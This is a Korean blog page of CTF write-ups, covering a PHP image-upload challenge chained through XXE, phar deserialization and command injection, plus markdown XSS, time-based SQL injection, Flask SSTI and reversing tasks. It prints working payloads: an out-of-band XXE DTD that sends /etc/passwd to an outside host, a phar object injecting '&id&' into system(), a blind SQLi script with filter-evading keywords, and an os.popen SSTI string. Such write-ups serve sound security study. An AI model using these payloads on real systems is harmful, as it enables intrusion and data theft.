근래 풀어본 CTF 웹 문제중에 가장 재미있게 풀어서 오랜만에 자세하게 풀이를 남겨봤다.


먼저 문제에서 코드를 제공해 준다. 총 3개의 PHP 파일을 주는데 각  소스는 아래와 같다.


index.php


<?php

session_start();

?>

<!DOCTYPE html>

<html lang="en">


<head>

    <link type="text/css" rel="stylesheet" href="style.css" />

</head>

<body>

            <div class="container">

                <img src="static/robot.png" class="centered imgrobot" />

                <form method="post" action="upload.php" enctype="multipart/form-data">

                        <input type="file" onchange="this.form.submit()" name="image" class="btn"/>

                </form>

                <hr>

                <div class="center">

                <?php

                $base_dir = "images/" . session_id() . "/";

                foreach (glob($base_dir . "*_thumb*") as $filename) {

                    // cut off _thumb.jpg

                    $fname = substr($filename, 0, -10);

                    $large_fname = glob( $fname . "*")[0];

                    echo "<a href='$large_fname'><img src='$filename' /></a>\n";

                }

                ?>

                </div>

            </div>


</body>

</html>



gallery.php


<?php

session_start();

?>


<!DOCTYPE html>

<html lang="en">


<head>

    <link type="text/css" rel="stylesheet" href="style.css" />

</head>

<body>


<form method="post" action="upload.php" enctype="multipart/form-data">

    <div class="container">

        <h1>Your Uploaded Images:</h1>

        <?php

        $base_dir = "images/" . session_id() . "/";

        foreach (glob($base_dir . "*_thumb*") as $filename) {

            // cut off _thumb.jpg

            $fname = substr($filename, 0, -10);

            $large_fname = glob( $fname . "*")[0];

            echo "<a href='$large_fname'><img src='$filename' /></a>\n";

        }

        ?>

    </div>

    <div class="container">

        <a href="index.php">Upload More</a></span>

    </div>

</form>

</body>


</html>



upload.php


<?php

session_start();


function calcImageSize($file, $mime_type) {

    if ($mime_type == "image/png"||$mime_type == "image/jpeg") {

        $stats = getimagesize($file);  // Doesn't work for svg...

        $width = $stats[0];

        $height = $stats[1];

    } else {

        $xmlfile = file_get_contents($file);

        $dom = new DOMDocument();

        $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);

        $svg = simplexml_import_dom($dom);

        $attrs = $svg->attributes();

        $width = (int) $attrs->width;

        $height = (int) $attrs->height;

    }

    return [$width, $height];

}



class Image {


    function __construct($tmp_name)

    {

        $allowed_formats = [

            "image/png" => "png",

            "image/jpeg" => "jpg",

            "image/svg+xml" => "svg"

        ];

        $this->tmp_name = $tmp_name;

        $this->mime_type = mime_content_type($tmp_name);


        if (!array_key_exists($this->mime_type, $allowed_formats)) {

            // I'd rather 500 with pride than 200 without security

            die("Invalid Image Format!");

        }


        $size = calcImageSize($tmp_name, $this->mime_type);

        if ($size[0] * $size[1] > 1337 * 1337) {

            die("Image too big!");

        }


        $this->extension = "." . $allowed_formats[$this->mime_type];

        $this->file_name = sha1(random_bytes(20));

        $this->folder = $file_path = "images/" . session_id() . "/";

    }


    function create_thumb() {

        $file_path = $this->folder . $this->file_name . $this->extension;

        $thumb_path = $this->folder . $this->file_name . "_thumb.jpg";

        system('convert ' . $file_path . " -resize 200x200! " . $thumb_path);

    }


    function __destruct()

    {

        if (!file_exists($this->folder)){

            mkdir($this->folder);

        }

        $file_dst = $this->folder . $this->file_name . $this->extension;

        move_uploaded_file($this->tmp_name, $file_dst);

        $this->create_thumb();

    }

}


new Image($_FILES['image']['tmp_name']);

header('Location: index.php');



위 코드 중 핵심 코드는 upload.php인데 해당 소스를 쭉 오디팅 하다보면 취약점이 터질만한 곳이 대충 3군데가 보인다.


일단 기본적인 웹쉘 업로드 같은 경우는 불가능한데 코드에서 눈에 띄는게 일단 svg업로드 시 xml parsing, 파일 convert 시 system 명령어를 사용, __destruct 매직 메서드의 존재이다.


대충 위의 포인트로 터질만하다고 보여진건 xxe, command injection, imagemagik rce, php objection injection 정도였다. 근데 각 취약점 별로 실제 트리거가 가능할지 검증이 필요했다.


먼저 가장 먼저 해볼만한게 xxe였다. 코드를 보면 별다른 필터가 없어서 Externel Entity만 활성화되어있으면 그냥 로직만 쭉 따라가면 당연히 될만한 상황이었다.

파싱 후 데이터가 뿌려지는 부분이 없어서 oob를 통해 아래와 같이 검증을 해보니 실제로 xxe가 터지는걸 확인할 수 있었다.


ssr.svg


<!DOCTYPE svg [

<!ENTITY % dtd SYSTEM "http://my_ip/test.dtd">

%dtd;

%param1;

]>

<svg>&ssr;</svg>


test.dtd


<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">

<!ENTITY % param1 "<!ENTITY ssr SYSTEM 'http://my_ip:9999/%data;'>">




/etc/passwd


root:x:0:0:root:/root:/bin/bash

daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

bin:x:2:2:bin:/bin:/usr/sbin/nologin

sys:x:3:3:sys:/dev:/usr/sbin/nologin

sync:x:4:65534:sync:/bin:/bin/sync

games:x:5:60:games:/usr/games:/usr/sbin/nologin

man:x:6:12:man:/var/cache/man:/usr/sbin/nologin

lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin

mail:x:8:8:mail:/var/mail:/usr/sbin/nologin

news:x:9:9:news:/var/spool/news:/usr/sbin/nologin

uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin

proxy:x:13:13:proxy:/bin:/usr/sbin/nologin

www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

backup:x:34:34:backup:/var/backups:/usr/sbin/nologin

list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin

irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin

gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin

nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin

_apt:x:100:65534::/nonexistent:/bin/false

messagebus:x:101:101::/var/run/dbus:/bin/false


여기까지 트리거하고 일단 플래그 파일을 최대한 찾아봤는데 딱히 찾을만한 방법이 없었다. 그래서 위에서 처음 눈여겨봤던 다른 취약점들 트리거가 가능한지 생각해봤다. 

일단 imagemagik과 같은 경우 취약버전이 아닌지 안먹혔고 command injection과 같은 경우 일반적인 상황으로는 인자 값을 컨트롤 할 수가 없었다.

마지막 남은게 PHP Object injection이었는데 역직렬화 해주는 로직이 코드 상에는 존재하지 않았다. 그래서 눈여겨 본게 file_exists 함수였는데 해당 함수 인자로 내가 업로드한 phar 파일을 트리거 할 수가 없었다. 여기서 뭔가 방법이 없을까 하다가 까먹고 있던 xxe가 떠올랐다.

xxe를 통해 phar wrapper가 사용가능하기 때문에 php objection injection이 가능할거라 생각했고 해당 공격을 통해 $this->folder , $this->file_name , $this->extension 요 값들을 내가 원하는데로 컨트롤해 command injection을 트리거해봤다.

먼저 phar 파일은 아래 코드를 통해 image 헤더를 삽입 해 만들었고 일단 실제 생각한데로 취약점이 터지는지 확인해 봤다.

createPhar.php

<?php
class Image{};
$jpeg_header_size =
"\xff\xd8\xff\xe0\x00\x10\x4a\x46\x49\x46\x00\x01\x01\x01\x00\x48\x00\x48\x00\x00\xff\xfe\x00\x13".
"\x43\x72\x65\x61\x74\x65\x64\x20\x77\x69\x74\x68\x20\x47\x49\x4d\x50\xff\xdb\x00\x43\x00\x03\x02".
"\x02\x03\x02\x02\x03\x03\x03\x03\x04\x03\x03\x04\x05\x08\x05\x05\x04\x04\x05\x0a\x07\x07\x06\x08\x0c\x0a\x0c\x0c\x0b\x0a\x0b\x0b\x0d\x0e\x12\x10\x0d\x0e\x11\x0e\x0b\x0b\x10\x16\x10\x11\x13\x14\x15\x15".
"\x15\x0c\x0f\x17\x18\x16\x14\x18\x12\x14\x15\x14\xff\xdb\x00\x43\x01\x03\x04\x04\x05\x04\x05\x09\x05\x05\x09\x14\x0d\x0b\x0d\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14".
"\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\xff\xc2\x00\x11\x08\x00\x0a\x00\x0a\x03\x01\x11\x00\x02\x11\x01\x03\x11\x01".
"\xff\xc4\x00\x15\x00\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xff\xc4\x00\x14\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xda\x00\x0c\x03".
"\x01\x00\x02\x10\x03\x10\x00\x00\x01\x95\x00\x07\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x05\x02\x1f\xff\xc4\x00\x14\x11".
"\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x03\x01\x01\x3f\x01\x1f\xff\xc4\x00\x14\x11\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20".
"\xff\xda\x00\x08\x01\x02\x01\x01\x3f\x01\x1f\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x06\x3f\x02\x1f\xff\xc4\x00\x14\x10\x01".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x3f\x21\x1f\xff\xda\x00\x0c\x03\x01\x00\x02\x00\x03\x00\x00\x00\x10\x92\x4f\xff\xc4\x00\x14\x11\x01\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x03\x01\x01\x3f\x10\x1f\xff\xc4\x00\x14\x11\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda".
"\x00\x08\x01\x02\x01\x01\x3f\x10\x1f\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x3f\x10\x1f\xff\xd9";

$phar = new Phar('ssr.phar');
$phar->startBuffering();
$phar->addFromString('ssr', 'ssr');
$phar->setStub($jpeg_header_size." __HALT_COMPILER(); ?>");

$object = new Image();
$object->file_name = "&id&";
$phar->setMetadata($object);
$phar->stopBuffering();



여기까지 진행 후 phar파일이 일단 업로드가 정상적으로 됬는지 확인해봤는데 여기서 조금 삽질을 했다. 업로드된 후 내가 확인한 파일은 convert작업으로인해 serialize된 데이터가 제거된 상태였다. 여기서 이걸 우회할 수가 있나라고 한참 생각하다가 실제로 해당 명령어를 로컬에서 실행해보니 기존 파일이 convert되면서 삭제 및 변경되는게 아니라 원본 그대로 유지가 되고 있었다. 원본 파일에는 serialize 데이터가 그대로 존재했기 떄문에 아래와 같이 xxe로 phar wrapper를 사용해줬고 rce가 터지는걸 확인할 수 있었다.




여기서부턴 그냥 rce로 플래그 파일 찾으면 된다. 아래와 같이 실행권한만 있는 플래그 파일이 있어서 실행해주니 플래그가 나왔다.




Flag: midnight{R3lying_0n_PHP_4lw45_W0rKs}









'CTF > Writeup' 카테고리의 다른 글

ASIS CTF 2019 Fort Knox  (0) 2019.04.22
Byte Bandits CTF 2019 Web Writeup  (0) 2019.04.14
CBM CTF 2019 Writeup  (0) 2019.04.08
Midnightsun CTF 2019 Marcodowno  (0) 2019.04.07
Radar CTF 2019 Inj3c7  (0) 2019.04.05
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

Node.js API Server(1)

2019. 4. 8. 02:07

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

CBM CTF 2019 Writeup

CTF/Writeup 2019. 4. 8. 01:21

Hashish


아래 함수 결과에 해당하는 결과 값을 파일로 제공해 준다.


__int64 __fastcall genhash(char *input)

{

  unsigned int v1; // eax

  char *v2; // rax

  __int64 input_byte; // rax

  char *v4; // [rsp+8h] [rbp-18h]

  unsigned int count; // [rsp+14h] [rbp-Ch]

  signed __int64 v6; // [rsp+18h] [rbp-8h]


  v4 = input;

  v6 = 13LL;

  count = 0;

  while ( 1 )

  {

    v2 = v4++;

    input_byte = (unsigned int)*v2;

    if ( !(_DWORD)input_byte )

      break;

    v6 = 3 * v6 + (signed int)input_byte;

    v1 = count++;

    printf("hash-%d : %ld\n", v1, v6);

  }

  return input_byte;

}


hash.txt


hash-0 : 138

hash-1 : 512

hash-2 : 1645

hash-3 : 5034

hash-4 : 15218

hash-5 : 45756

hash-6 : 137391

hash-7 : 412292

hash-8 : 1236927

hash-9 : 3710845

hash-10 : 11132642

hash-11 : 33398021

hash-12 : 100194167

hash-13 : 300582553

hash-14 : 901747774

hash-15 : 2705243426

hash-16 : 8115730373

hash-17 : 24347191171

hash-18 : 73041573621

hash-19 : 219124720917

hash-20 : 657374162799

hash-21 : 1972122488522

hash-22 : 5916367465576



위 로직에 맞게 역연산 해주면 된다.

solve.py
hash = [13,138,512,1645,5034,15218,45756,137391,412292,1236927,3710845,11132642,33398021,100194167,300582553,901747774,2705243426,8115730373,24347191171,73041573621,219124720917,657374162799,1972122488522,5916367465576]

flag = ""
for i in xrange(len(hash)):
    if i==len(hash)-1:
        break
    flag += chr(hash[i+1]-(3*hash[i]))
print flag


cryptoware

암호화된 파일을 하나 주는데 복호화 하면 된다.

암호화 코드를 보면 시드 값이 고정이 안되있어서 암호화 시 사용한 xor값을 알 수가 없다. 근데 잘 보면 키 값이 0~127 까지밖에 안되서 그냥 brute force 해주며 된다.

encrypt function

__int64 __fastcall encrypt(char *input)
{
  unsigned int v1; // eax
  int v2; // eax
  __int64 v3; // rdx
  _QWORD *v4; // rax
  __int64 v5; // rdx
  __int64 v6; // rax
  char v8; // [rsp+10h] [rbp-17C0h]
  char v9; // [rsp+210h] [rbp-15C0h]
  __int64 v10; // [rsp+310h] [rbp-14C0h]
  char input_2[5010]; // [rsp+420h] [rbp-13B0h]
  char input_1; // [rsp+17B2h] [rbp-1Eh]
  char v13; // [rsp+17B3h] [rbp-1Dh]
  int v14; // [rsp+17B4h] [rbp-1Ch]
  int j; // [rsp+17B8h] [rbp-18h]
  int i; // [rsp+17BCh] [rbp-14h]

  v1 = time(0LL);
  srand(v1);
  v2 = rand() % 95;
  v14 = v2 + 32;
  v13 = v2 + 32;
  std::basic_ifstream<char,std::char_traits<char>>::basic_ifstream(&v9);
  std::basic_ifstream<char,std::char_traits<char>>::open(&v9, input, 8LL);
  if ( (unsigned __int8)std::basic_ios<char,std::char_traits<char>>::operator!(&v10) )
  {
    std::operator<<<std::char_traits<char>>(&std::cerr, "File not found", v3);
    exit(1);
  }
  for ( i = 0; ; ++i )
  {
    v4 = (_QWORD *)std::operator>><char,std::char_traits<char>>(&v9, &input_1);
    if ( !(unsigned __int8)std::basic_ios<char,std::char_traits<char>>::operator bool((char *)v4 + *(_QWORD *)(*v4 - 24LL)) )
      break;
    input_2[i] = input_1;
  }
  std::basic_ifstream<char,std::char_traits<char>>::close(&v9);
  v6 = std::operator<<<std::char_traits<char>>(&std::cout, input_2, v5);
  std::ostream::operator<<(v6, &MEMORY[0x7FB33BCF6B70]);
  std::basic_ofstream<char,std::char_traits<char>>::basic_ofstream(&v8, input, 16LL);
  for ( j = 0; j < i; ++j )
    std::operator<<<std::char_traits<char>>(&v8, (unsigned int)(char)(v13 ^ input_2[j]));
  std::basic_ofstream<char,std::char_traits<char>>::close(&v8);
  std::basic_ofstream<char,std::char_traits<char>>::~basic_ofstream(&v8);
  return std::basic_ifstream<char,std::char_traits<char>>::~basic_ifstream(&v9);
}


solve.py

enc_string =  """.CNsdyD[NYJ_DYBXNS_YNFNGRHDFFDEJXJHDF[DENE_BEFDYNHDF[GNSHB[CNYX.iRB_XNGM.^XBELJHDEX_JE_YN[NJ_BEL@NR.JXBF[GNsdyHB[CNYHJE_YB]BJGGRINIYD@NE^XBELMYNZ^NEHRJEJGRXBX.bM_CNHDE_NE_DMJERFNXXJLNHJEINL^NXXNODYD_CNY\BXN@ED\E_CNE_CN@NRHJEINYN]NJGNO.b_X[YBFJYRFNYB_BX_CJ_B_BXXBF[GN_DBF[GNFNE_.JEO_CJ__CNsdyD[NYJ_BDEBXHDF[^_J_BDEJGGRBENS[NEXB]N.jXBF[GNYN[NJ_BELsdy.B.N.^XBEL_CNXJFN@NRMDYSDYD[NYJ_BDEDE_CN\CDGNOJ_J.HB[CNYBX_CNYNMDYNXDFN_BFNX^XNOMDYCBOBELBEMDYFJ_BDEBEHJXNX\CNYNED[JY_BH^GJYXNH^YB_RBXYNZ^BYNO.iR_CN\JRMGJLBXHIFH_MPXCNODED_@ED\JID^_YN]NYXBELV"""
dec_string = ""
for i in xrange(128):
    dec_string = ""
    for j in xrange(len(enc_string)):
        dec_string += chr(ord(enc_string[j])^i)
    if "cbmctf" in dec_string:
        index = dec_string.find("cbmctf")
        print dec_string[index:]


Long road


cool[넘버] 페이지 Brute Force해주면 플래그 나오는 페이지가 있다.



In mountains I feel fresh

페이지 요청할때 마다 세션값이 다시 세팅되는데 이거 파싱해서 다음 페이지 요청할때 세션 값 재 세팅해주는 식으로 Brute Force 해주면 된다.


solve.py

import requests


def request(cookie):

    url = "http://cbmctf2019.cf:5001/"

    headers = {'Cookie': 'session=' + cookie}

    response = requests.get(url, headers=headers)

    if "cbmctf" in response.text:

        print response.text

    return response.headers['Set-Cookie'].replace("session=","").replace("; HttpOnly; Path=/","")

cookie = "eyJ2aXNpdHMiOjUwfQ.XKn_Hg.nLw94DRaPh2xkEeMUuApvcihnBo"

for i in range(0,1000):

    cookie = request(cookie)

    print cookie


'CTF > Writeup' 카테고리의 다른 글

Byte Bandits CTF 2019 Web Writeup  (0) 2019.04.14
Midnight Sun CTF 2019 Quals Rubenscube  (0) 2019.04.08
Midnightsun CTF 2019 Marcodowno  (0) 2019.04.07
Radar CTF 2019 Inj3c7  (0) 2019.04.05
Encrypt CTF 2019 Write up  (0) 2019.04.05
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

마크다운 컨셉의 XSS 문제다.


코드를 보면 아래와 같다.




<head>

    <meta charset="UTF-8">

    <link rel="stylesheet" href="/static/style.css" />

    <script src="https://code.jquery.com/jquery-3.3.1.slim.min.js"></script>

</head>

<script>

input = decodeURIComponent(location.search.match(/input=([^&#]+)/)[1]);


function markdown(text){

  text = text

.replace(/[<]/g, '')

.replace(/----/g,'<hr>')

.replace(/> ?([^\n]+)/g, '<blockquote>$1</blockquote>')

.replace(/\*\*([^*]+)\*\*/g, '<b>$1</b>')

.replace(/__([^_]+)__/g, '<b>$1</b>')

.replace(/\*([^\s][^*]+)\*/g, '<i>$1</i>')

.replace(/\* ([^*]+)/g, '<li>$1</li>')

.replace(/##### ([^#\n]+)/g, '<h5>$1</h5>')

.replace(/#### ([^#\n]+)/g, '<h4>$1</h4>')

.replace(/### ([^#\n]+)/g, '<h3>$1</h3>')

.replace(/## ([^#\n]+)/g, '<h2>$1</h2>')

.replace(/# ([^#\n]+)/g, '<h1>$1</h1>')

.replace(/(?<!\()(https?:\/\/[a-zA-Z0-9./?#-]+)/g, '<a href="$1">$1</a>')

.replace(/!\[([^\]]+)\]\((https?:\/\/[a-zA-Z0-9./?#]+)\)/g, '<img src="$2" alt="$1"/>')

.replace(/(?<!!)\[([^\]]+)\]\((https?:\/\/[a-zA-Z0-9./?#-]+)\)/g, '<a href="$2">$1</a>')

.replace(/`([^`]+)`/g, '<code>$1</code>')

.replace(/```([^`]+)```/g, '<code>$1</code>')

.replace(/\n/g, "<br>");

  return text;

}


window.onload=function(){

  $("#markdown").text(input);

  $("#rendered").html(markdown(input));

}


</script>


<h1>Input:</h1><br>

<pre contenteditable id="markdown" class="background-grey"></pre><br>

<br>

<button onclick='$("#rendered").html(markdown($("#markdown").text()))'>Update preview</button>

<hr>

<br>

<h1>Preview:</h1><br>

<div id="rendered" class="rendered background-grey"></div>


인풋이 markdown 함수 내 정규식들을 거쳐 마크다운 컨셉으로 치환된 후 html 태그로 추가된다. 

치환되는 코드들을 보면 XSS로 쓸만한 게 딱 보인다. 

.replace(/!\[([^\]]+)\]\((https?:\/\/[a-zA-Z0-9./?#]+)\)/g, '<img src="$2" alt="$1"/>')

요 코드의 정규식 형식 맞춰서 아래와 같이 값을 넘겨주면 XSS가 터진다. alert(1)만 띄우면 플래그를 준다.

payload
![" onerror=alert(1) "](https://234252)


'CTF > Writeup' 카테고리의 다른 글

Midnight Sun CTF 2019 Quals Rubenscube  (0) 2019.04.08
CBM CTF 2019 Writeup  (0) 2019.04.08
Radar CTF 2019 Inj3c7  (0) 2019.04.05
Encrypt CTF 2019 Write up  (0) 2019.04.05
Codegate 2019 Open CTF Reversing Write up  (2) 2019.04.02
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

Node.js DB 연동

2019. 4. 7. 02:56

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

로그인 창 하나 나오는데 대충 Time Based로 구해주면 된다.


근데 입력 값 중에 몇몇 키워들이 replace 처리되고 replace로 구문이 잘못되도 딱히 에러 뿌려주고 뭐가 필터됬다 이런거 안알려줘서 조금 성가시다. 대충 replace되는 애들 테스트해서 구해보면 핵심 키워드 및 특문은 or,select,' 이다. 


요고만 잘 replace우회해서 디비에 있는 플래그 읽어주면 된다.


payload


import requests

import time


def getFlag(payload):

    time.sleep(1)

    start = time.time()

    url = "http://blackfoxs.org/radar/inj3c7/"

    data = {'pass': payload}

    response = requests.post(url, data=data)

    end = time.time()

    return end-start


strings = "_abcdefghijklmnopqrstuvwxyz0123456789}ABCDEFGHIJKLMNOPQRSTUVWXYZ"

if __name__ == "__main__":

    flag = ""

    for j in range(0, 100):

        binary = ""

        for i in range(0,len(strings)):

            #payload = "999999999999999 or 1=1 and if(ascii(substring( (selselectect length(table_name) from infoselectrmation_schema.tables where table_schema=database() limit 0,1) ," + str(j) + ",1))=" + str(ord(strings[i])) + ",sleep(4),1)#"

            payload = "999999999999999 or 1=1 and if(ascii(substring( (selselectect flag from flag limit 0,1) ,"+str(j)+",1))="+str(ord(strings[i]))+",sleep(4),1)#"

            if getFlag(payload) > 3:

                flag += strings[i]

                print flag

                break

        print "[-]Flag Password = " + flag



'CTF > Writeup' 카테고리의 다른 글

CBM CTF 2019 Writeup  (0) 2019.04.08
Midnightsun CTF 2019 Marcodowno  (0) 2019.04.07
Encrypt CTF 2019 Write up  (0) 2019.04.05
Codegate 2019 Open CTF Reversing Write up  (2) 2019.04.02
b00t2root CTF 2019 Web Writeup  (0) 2019.03.31
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

crackme01


메인을 보면 대놓고 플래그 관련 문자열을 보여준다. 그냥 쭉 이어주면 된다.



crackme02


아이디,비밀번호 값을 받아서 간단한 연산을 통해 정수형 값을 구한다음 이 값으로 플래그 테이블 값들을 복호화 한다. 플래그 형식이 encrypt{?} 이기 때문에 간단히 브포 돌려서 encrypt 문자열 있는거 찾아주면 된다.


payload.py


a = "08030E1F141D192E392B162C010A021F041905001E4003021940080C1E1410"

flag = ""

for j in range(0,128):

    flag = ""

    for i in range(0,len(a),2):

        flag +=chr(int("0x"+a[i:i+2],16)^j)

    if "encrypt" in flag:

        print flag



crackme03


5가지 조건에 맞는 인풋을 넣어주면 되는데 아래와 같이 로직이 상당히 심플하다. 



아래와 같이 인풋 구해서 원격서버에 보내주면 플래그가 나온다.


payload.py

from pwn import *


def getInput_1():

return "CRACKME02"


def getInput_2():

return p32(0xDEADBEEF)


def getInput_3():

return "ZXytUb9fl78evgJy3KJN"


def getInput_4():

for i in range(0,128):

if i * i * i + 2 * (2 * i * i - i) - 3==0:

return str(i)


def getInput_5():

table = [0xD5,0xCE,0xE7,0xC9,0x69]

frontString = ""

endString = ""

for i in range(0,len(table)):

if i == len(table)-1:

frontString += chr(table[i])

break

if table[i]%2==0:

frontString += chr(table[i]/2)

endString += chr(table[i]/2)

else:

frontString += chr(table[i] / 2)

endString += chr(table[i] / 2+1)

print frontString

print endString

return frontString+endString[::-1]


p = remote('104.154.106.182', 7777)


p.sendlineafter(': ', getInput_1())

p.sendlineafter(': ', getInput_2())

p.sendlineafter(': ', getInput_3())

p.sendlineafter(': ', getInput_4())

p.sendlineafter(': ', getInput_5())

p.interactive()



Sweeeeeet

들어가보면 아무것도 없다. 그냥 페이지 들가보면 쿠키값에 플래그처럼 보이는거 세팅되는데 가짜다. 할수있는게 딱히 없는데 쿠키 값 보면 md5처럼 보이는 값이 있다. 이거 레인보우 테이블에 돌려보면 100나오는데 0으로 md5만들어서 보내주면 플래그 나온다.


Slash Slash

Flask 소스를 주는데 코드를 보면 특정 페이지 요청할때 서버 내 저장된 환경변수 값 읽어서 뿌려준다. 근데 원격서버가 아니고 소스만 주고 내 서버에서 하라해서 해보면 환경변수가 당연히 세팅이 안되있어서 플래그가 안나온다. 근데 주석보면 virtualenv라는 파이썬 가상환경 같은걸로 돌려보라고 되있다. 해당 환경대로 구축해서 돌리면 서버 구동할 때 환경변수가 세팅되는 듯 한데, 이게 상당히 귀찮은 작업이라 대충 꼼수로 생각해보면 어쨋든 서버 구동하면서 환경변수 세팅하는 코드가 내가 받은 코드 중에 존재할 수 밖에 없다. 컴파일된 pyc면 죄다 디컴해서 확인해야해서 상당히 귀찮을 수 있는데 일단 이 가능성 배제하고 환경변수 세팅이 가능한 setenv(python code) or export(linux shell)로 다운받은 전체 코드 검색해보면 딱봐도 수상해보이는 export로 세팅해주는 base64 인코딩 값이 있다. 이거 디코딩해주면 플래그 나온다. 


vault

로그인창하나 나오는데, 인젝션해주면 로그인되면서 flag.png인가 qrcode이미지 준다. 이거 디코딩해봤자 이상한 링크하나 나와 의미가 없다. 디비 다 뒤져봐도 플래그가 없다. 근데 file_priv가 살아있어서 블라인드로 파일 내용 읽을 수 있다. 근데 또 mysql 권한으로 소스코드 leak가 안된다. 답도 없는 상황인데 자세히보면 그냥 인젝션으로 로그인만 해주면 세션 쿠키에 base64인코딩된 플래그가 있다.


repeaaaaaat

간단한 flask ssti다. 필터가 아예 없어서 그냥 아래 페이로드로 구해주면 된다.

payload = {{url_for.__globals__.os.popen('cat ./flag.txt').read()}}






'CTF > Writeup' 카테고리의 다른 글

Midnightsun CTF 2019 Marcodowno  (0) 2019.04.07
Radar CTF 2019 Inj3c7  (0) 2019.04.05
Codegate 2019 Open CTF Reversing Write up  (2) 2019.04.02
b00t2root CTF 2019 Web Writeup  (0) 2019.03.31
Securinets CTF Quals 2019 AutomateMe  (0) 2019.03.26
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

Node.js Web Crawling

2019. 4. 4. 20:00

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

공유 메모리

2019. 4. 2. 01:48

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.